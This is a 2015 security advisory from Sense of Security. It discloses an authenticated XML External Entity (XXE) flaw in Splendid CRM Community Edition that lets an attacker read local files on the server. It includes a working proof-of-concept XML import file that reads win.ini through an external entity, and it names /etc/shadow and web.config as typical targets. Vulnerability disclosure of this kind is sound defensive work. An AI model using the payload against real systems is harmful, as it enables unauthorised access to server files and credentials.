Sense of Security	Authorisation. Jason Edelstein
	Release date. 2 February 2015

Sense of Security – Security Advisory – SOS-15-002.

XML External Entity Injection (XXE)

2 February 2015.

Splendid CRM - Security Advisory - SOS-15-002

Release Date.	02-Feb-2015
Last Update.	-
Vendor Notification Date.	20-Jan-2015
Product.	Splendid CRM Community Edition
Affected versions.	All versions prior to 9.0.5478
Severity Rating.	Medium
Impact.	Local file system access
Attack Vector.	Remote with authentication
Solution Status.	Vendor update
CVE reference.	-

Details.

Importing an XML file that contains an XML external entity to the Splendid CRM application permits an attacker to retrieve a local file from the web server. The attacker must be authenticated to the administrative interface. An XML External Entity attack is an attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity such as a local file on the web server. Common targets include configuration files, e.g. ASP.NET web.config or Linux password files, e.g. /etc/shadow.

Proof-of-Concept.

The following XML file can be used as part of the database or user import option to access local files on the system:

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<splendidcrm>
      <users>
```

```
           <id>00000000-0000-0000-0000-000000000001</id>
           <deleted>0</deleted>
           <created_by>00000000-0000-0000-00001</created_by>
           <user_name>admin</user_name>
           <user_password />

     <user_hash>21232f297a57a5a743894a0e4a801fc3</user_hash>
           <first_name />
           <last_name>Administrator</last_name>
           <reports_to_id />
           <is_admin>1</is_admin>
           <is_admin_delegate />
           <receive_notifications>1</receive_notifications>
           <description />
           <title>Administrator</title>
           <department />
           <status>Active</status>
           <address_street>&xxe;</address_street>
           <address_city />
           <default_team />
     </users>
</splendidcrm>
```

Solution

Update to the latest version.

Discovered by

Nathaniel Carew from Sense of Security Labs

About us

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/web-application-security
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-15-002.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php